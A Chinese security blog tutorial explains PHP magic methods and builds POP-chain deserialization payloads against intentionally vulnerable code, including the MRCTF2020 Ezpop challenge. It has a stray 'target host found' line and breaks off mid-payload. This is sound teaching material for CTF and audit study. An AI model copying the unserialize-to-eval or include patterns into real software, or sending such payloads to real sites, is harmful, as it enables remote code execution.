这是F12sec的第60篇原创
申明:本次测试只作为学习用处,请勿未授权进行渗透测试,切勿用于其它用途!
ps:很多小伙伴都催更了,先跟朋友们道个歉,摸鱼太久了,哈哈哈,今天就整理一下大家遇到比较多的php反序列化,经常在ctf中看到,还有就是审计的时候也会需要,这里我就细讲一下,我建议大家自己复制源码去搭建运行,只有自己去好好理解,好好利用了才更好的把握,才能更快的找出pop链子,首先呢反序列化最重要的就是那些常见的魔法函数,很多小伙伴都不知道这个魔法函数是干啥的,今天我就一个一个,细致的讲讲一些常见的魔法函数,以及最后拿一些ctf题举例,刚开始需要耐心的看,谢谢大家的关注,我会更努力的。
1.正文
常见的PHP魔术方法:
代码语言:javascript复制__construct:在创建对象时候初始化对象,一般用于对变量赋初值。
__destruct:和构造函数相反,当对象所在函数调用完毕后执行。
__call:当调用对象中不存在的方法会自动调用该方法。
__get():获取对象不存在的属性时执行此函数。
__set():设置对象不存在的属性时执行此函数。
__toString:当对象被当做一个字符串使用时调用。
__sleep:序列化对象之前就调用此方法(其返回需要一个数组)
__wakeup:反序列化恢复对象之前调用该方法
__isset():在不可访问的属性上调用isset()或empty()触发
__unset():在不可访问的属性上使用unset()时触发
__invoke() :将对象当作函数来使用时执行此方法
发现目标主机 192.168.64.137
__CONSTRUCT 与 __DESTRUCT
__construct:在创建对象时候初始化对象,一般用于对变量赋初值。 __destruct:和构造函数相反,当对象所在函数调用完毕后执行。
代码语言:javascript复制<?php
class Test{
public $name;
public $age;
public $string;
// __construct:实例化对象时被调用.其作用是拿来初始化一些值。
public function __construct($name, $age, $string){
echo "__construct 初始化"."<br>";
$this->name = $name;
$this->age = $age;
$this->string = $string;
}
// __destruct:当删除一个对象或对象操作终止时被调用。其最主要的作用是拿来做垃圾回收机制。
/*
* 当对象销毁时会调用此方法
* 一是用户主动销毁对象,二是当程序结束时由引擎自动销毁
*/
function __destruct(){
echo "__destruct 类执行完毕"."<br>";
}
}
// 主动销毁
$test = new Test("Spaceman",566, 'Test String');
unset($test);
// 主动销毁先执行__destruct再执行下面的echo
echo '566'.'<br>';
echo '----------------------<br>';
// 程序结束自动销毁
$test = new test("Spaceman",566, 'Test String');
// 自动销毁先执行下面的echo,程序结束才执行__destruct
echo '666'.'<br>';
?>
运行结果:
__construct 初始化__destruct 类执行完毕566----------------------__construct 初始化666__destruct 类执行完毕
代码语言:javascript复制
__CALL
__call:当调用对象中不存在的方法会自动调用该方法。
调用某个方法, 若方法存在,则直接调用;若不存在,则会去调用__call函数。
例:
代码语言:javascript复制
代码语言:javascript复制<?php
class Test{
public function good($number,$string){
echo '存在good方法'.'<br>';
echo $number.'---------'.$string.'<br>';
}
// 当调用类中不存在的方法时,就会调用__call();
public function __call($method,$args){
echo '不存在'.$method.'方法'.'<br>';
var_dump($args);
}
}
$a = new Test();
$a->good(566,'nice');
$b = new Test();
$b->spaceman(899,'no');
?>
__GET()
__get():访问不存在的成员变量时调用的;用来获取私有属性
读取一个对象的属性时,若属性存在,则直接返回属性值;若不存在,则会调用__get函数。
例:
代码语言:javascript复制
代码语言:javascript复制<?php
class Test {
public $n=123;
// __get():访问不存在的成员变量时调用
public function __get($name){
echo '__get 不存在成员变量'.$name.'<br>';
}
}
$a = new Test();
// 存在成员变量n,所以不调用__get
echo $a->n;
echo '<br>';
// 不存在成员变量spaceman,所以调用__get
echo $a->spaceman;
运行结果:
123
__get 不存在成员变量spaceman
代码语言:javascript复制
__SET()
__set():设置不存在的成员变量时调用的;
设置一个对象的属性时, 若属性存在,则直接赋值;若不存在,则会调用__set函数。
例:
代码语言:javascript复制<?php
class Test{
public $data = 100;
protected $noway=0;
// __set():设置对象不存在的属性或无法访问(私有)的属性时调用
/* __set($name, $value)
* 用来为私有成员属性设置的值
* 第一个参数为你要为设置值的属性名,第二个参数是要给属性设置的值,没有返回值。
*/
public function __set($name,$value){
echo '__set 不存在成员变量 '.$name.'<br>';
echo '即将设置的值 '.$value."<br>";
$this->noway=$value;
}
public function Get(){
echo $this->noway;
}
}
$a = new Test();
// 读取 noway 的值,初始为0
$a->Get();
echo '<br>';
// 无法访问(私有)noway属性时调用,并设置值为899
$a->noway = 899;
// 经过__set方法的设置noway的值为899
$a->Get();
echo '<br>';
// 设置对象不存在的属性spaceman
$a->spaceman = 566;
// 经过__set方法的设置noway的值为566
$a->Get();
?>
运行结果:
0
__set 不存在成员变量 noway 即将设置的值 899 899 __set 不存在成员变量 spaceman 即将设置的值 566 566
__get 与 __set
例:
代码语言:javascript复制
代码语言:javascript复制<?php
class Person{
private $name;
private $sex;
private $age;
//__get()方法用来获取私有属性
public function __get($property_name){
echo "在直接获取私有属性值的时候,自动调用了这个__get()方法<br>";
if(isset($this->$property_name)) {
return($this->$property_name);
}
else {
return(NULL);
}
}
// __set()方法用来设置私有属性
public function __set($property_name, $value){
echo "在直接设置私有属性值的时候,自动调用了这个__set()方法为私有属性赋值<br>";
$this->$property_name = $value;
}
}
$a = new Person();
// 直接为私有属性赋值的操作,会自动调用__set()方法进行赋值
$a->name="张三";
$a->sex="男";
$a->age=20;
// 直接获取私有属性的值,会自动调用__get()方法,返回成员属性的值
echo "姓名:".$a->name."<br>";
echo "性别:".$a->sex."<br>";
echo "年龄:".$a->age."<br>";
?>
运行结果:
在直接设置私有属性值的时候,自动调用了这个__set()方法为私有属性赋值
在直接设置私有属性值的时候,自动调用了这个__set()方法为私有属性赋值
在直接设置私有属性值的时候,自动调用了这个__set()方法为私有属性赋值
在直接获取私有属性值的时候,自动调用了这个__get()方法
姓名:张三
在直接获取私有属性值的时候,自动调用了这个__get()方法
性别:男
在直接获取私有属性值的时候,自动调用了这个__get()方法
年龄:20
__TOSTRING()
__toString():在对象当做字符串的时候会被调用。
例:
代码语言:javascript复制
代码语言:javascript复制<?php
class Test
{
public $variable = 'This is a string';
public function good(){
echo $this->variable . '<br />';
}
// 在对象当做字符串的时候会被调用
public function __toString()
{
return '__toString <br>';
}
}
$a = new Test();
$a->good();
echo $a;
?>
运行结果:
This is a string
__toString
__SLEEP()
__sleep():serialize之前被调用,可以指定要序列化的对象属性。
例:
代码语言:javascript复制
代码语言:javascript复制<?php
class Test{
public $name;
public $age;
public $string;
// __construct:实例化对象时被调用.其作用是拿来初始化一些值。
public function __construct($name, $age, $string){
echo "__construct 初始化"."<br>";
$this->name = $name;
$this->age = $age;
$this->string = $string;
}
// __sleep() :serialize之前被调用,可以指定要序列化的对象属性
public function __sleep(){
echo "当在类外部使用serialize()时会调用这里的__sleep()方法<br>";
// 例如指定只需要 name 和 age 进行序列化,必须返回一个数值
return array('name', 'age');
}
}
$a = new Test("Spaceman",566, 'Test String');
echo serialize($a);
?>
运行结果:
__construct 初始化
当在类外部使用serialize()时会调用这里的__sleep()方法
O:4:"Test":2:{s:4:"name";s:8:"Spaceman";s:3:"age";i:566;}
__WAKEUP
__wakeup:反序列化恢复对象之前调用该方法
例:
代码语言:javascript复制<?php
class Test{
public $sex;
public $name;
public $age;
public function __construct($name, $age, $sex){
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}
public function __wakeup(){
echo "当在类外部使用unserialize()时会调用这里的__wakeup()方法<br>";
$this->age = 566;
}
}
$person = new Test('spaceman',21,'男');
$a = serialize($person);
echo $a."<br>";
var_dump (unserialize($a));
?>
运行结果:
O:4:"Test":3:{s:3:"sex";s:3:"男";s:4:"name";s:8:"spaceman";s:3:"age";i:21;}
当在类外部使用unserialize()时会调用这里的__wakeup()方法
class Test#2 (3) {
public $sex =>
string(3) "男"
public $name =>
string(8) "spaceman"
public $age =>
int(566)
}
__ISSET()
__isset(): 检测对象的某个属性是否存在时执行此函数。
当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
例:
代码语言:javascript复制<?php
class Person{
public $sex;
private $name;
private $age;
public function __construct($name, $age, $sex){
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}
// __isset():当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用。
public function __isset($content){
echo "当在类外部使用isset()函数测定私有成员 {$content} 时,自动调用<br>";
return isset($this->$content);
}
}
$person = new Person("spaceman", 25,'男');
// public 成员
echo ($person->sex),"<br>";
// private 成员
echo isset($person->name);
?>
运行结果:
男
当在类外部使用isset()函数测定私有成员 name 时,自动调用
1
__UNSET()
__unset():在不可访问的属性上使用unset()时触发
销毁对象的某个属性时执行此函数。
1、 如果一个对象里面的成员属性是公有的,就可以使用这个函数在对象外面删除对象的公有属性。
2、 如果对象的成员属性是私有的,我使用这个函数就没有权限去删除。
例:
代码语言:javascript复制<?php
class Person{
public $sex;
private $name;
private $age;
public function __construct($name, $age, $sex){
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}
// __unset():销毁对象的某个属性时执行此函数
public function __unset($content) {
echo "当在类外部使用unset()函数来删除私有成员时自动调用的<br>";
echo isset($this->$content)."<br>";
}
}
$person = new Person("spaceman", 21,"男"); // 初始赋值
unset($person->sex);
echo "666666<br>";
unset($person->name);
unset($person->age);
?>
运行结果:
666666
当在类外部使用unset()函数来删除私有成员时自动调用的
1
当在类外部使用unset()函数来删除私有成员时自动调用的
1
__INVOKE()
__INVOKE():将对象当做函数来使用时执行此方法,通常不推荐这样做。
例:
代码语言:javascript复制<?php
class Test{
// _invoke():以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用
public function __invoke($param1, $param2, $param3)
{
echo "这是一个对象<br>";
var_dump($param1,$param2,$param3);
}
}
$a = new Test();
$a('spaceman',21,'男');
?>
运行结果:
这是一个对象
string(8) "spaceman"
int(21)
string(3) "男"
举例
pop链的利用
例1:
代码语言:javascript复制<?php
highlight_file(__FILE__);
class pop {
public $ClassObj;
// 对象实例化时调用
function __construct() {
$this->ClassObj = new hello();
}
// 对象销毁或程序运行结束时调用
function __destruct() {
$this->ClassObj->action();
}
}
class hello {
function action() {
echo "<br> hello pop ";
}
}
class shell {
public $data;
function action() {
eval($this->data);
}
}
$a = new pop();
unserialize($_GET['s']);
简单的审计一下,可以发现,pop类本来是调用hello类的,然后程序结束执行action方法,但是shell类也有action方法,所以就可以构造pop链,使其pop类调用shell类从而执行eval函数。
代码语言:javascript复制构造如下:
<?php
highlight_file(__FILE__);
class pop {
public $ClassObj;
function __construct() {
$this->ClassObj = new shell();
}
}
class shell {
public $data = "phpinfo();";
function action() {
eval($this->data);
}
}
echo serialize(new pop());
运行结果:
O:3:"pop":1:{s:8:"ClassObj";O:5:"shell":1:{s:4:"data";s:10:"phpinfo();";}}
不过需要注意的是private属性和protected属性
代码语言:javascript复制<?php
highlight_file(__FILE__);
class pop {
public $Pub = "spaceman";
private $Pri = "good";
protected $ClassObj;
function __construct() {
$this->ClassObj = new hello();
}
}
class hello {
}
echo urlencode(serialize(new pop()));
运行结果如下, 有 存在是因为private属性和protected属性
O:3:"pop":3:{s:3:"Pub";s:8:"spaceman";s:8:" pop Pri";s:4:"good";s:11:" * ClassObj";O:5:"hello":0:{}}
例2:
[MRCTF2020]Ezpop
代码语言:javascript复制<?php
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
首先看看所涉及到的魔术方法:
代码语言:javascript复制__construct() 当一个对象创建时被调用
__toString() 当一个对象被当作一个字符串使用
__wakeup() 将在反序列化之后立即被调用
__get() 访问不存在的成员变量时调用的
__invoke() 将对象当作函数来使用时执行此方法
我们可以先一个一个类看看怎么利用
Modifier类:
代码语言:javascript复制<?php
highlight_file(__FILE__);
class Modifier {
protected $var = 'info.php';
public function append($value){
include($value);
}
public function __invoke(){
echo '__invoke'."<br>";
$this->append($this->var);
}
}
$a = new Modifier();
$a();
这里假设需要 include 的文件是info.php
简单解释一下代码的意思,就是我们需要执行append方法,若需要执行该方法可通过__invoke方法执行,也就是当将对象当作函数来使用时执行__invoke方法
所以我们就可以先创建这个对象然后再拿来当函数使用,就会自动触发__invoke方法,从而就可以执行append方法包含info.php文件
运行结果:
接下来是Test类:
代码语言:javascript复制class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
首先是__construct方法初始化设置p是一个数组,这显然不是我们需要的,但我们可以重新初始化,然后是__get方法,访问不存在的成员变量时调用,而且返回的是方法,这不就可以配合第一个Modifier类使用了吗,使用Test类的__get方法调用Modifier类,所以我们可以使Test类初始化将$p的值设为Modifier对象,然后再经过__get方法以函数的方式执行Modifier对象(即访问一个Test类不存在的属性),这样就可以使用Modifier对象的append方法了,如下:
代码语言:javascript复制<?php
class Modifier {
protected $var = 'info.php';
public function append($value){
include($value);
}
public function __invoke(){
echo '__invoke'."<br>";
$this->append($this->var);
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
$a = new Test();
$a->no;
?>
运行结果:
最后是这个Show类:
代码语言:javascript复制class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|../i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
首先使用unserialize会先触发__wakeup方法,这个方法在这里其实就是充当过滤字符,接着是初始化方法,这个方法有个关键的地方就是使用了echo打印字符串,并且将source拼接起来打印,而__toString() 就是当一个对象被当作一个字符串时调用,正好可以利用初始化方法的echo去完成调用。
分析了这么多,最后就可以构造最终的pop链了,先上payload再继续讲
代码语言:javascript复制<?php
class Modifier {
protected $var = 'info.php';
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return "566";
}
}
class Test{
public $p;
public function __construct(){
$this->p = new Modifier();
}
}
$a = new Show('spaceman');
$a->str = new Test();
$c = new Show($a);
echo serialize($c);
运行结果有不可显示字符 这里我手动加上了,所以可以使用urlencode一下,我这里是为了更直观的查看所以直接序列化
代码语言:javascript复制Welcome to spaceman
Welcome to 566
O:4:"Show":2:{s:6:"source";O:4:"Show":2:{s:6:"source";s:8:"spaceman";s:3:"str";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:6:"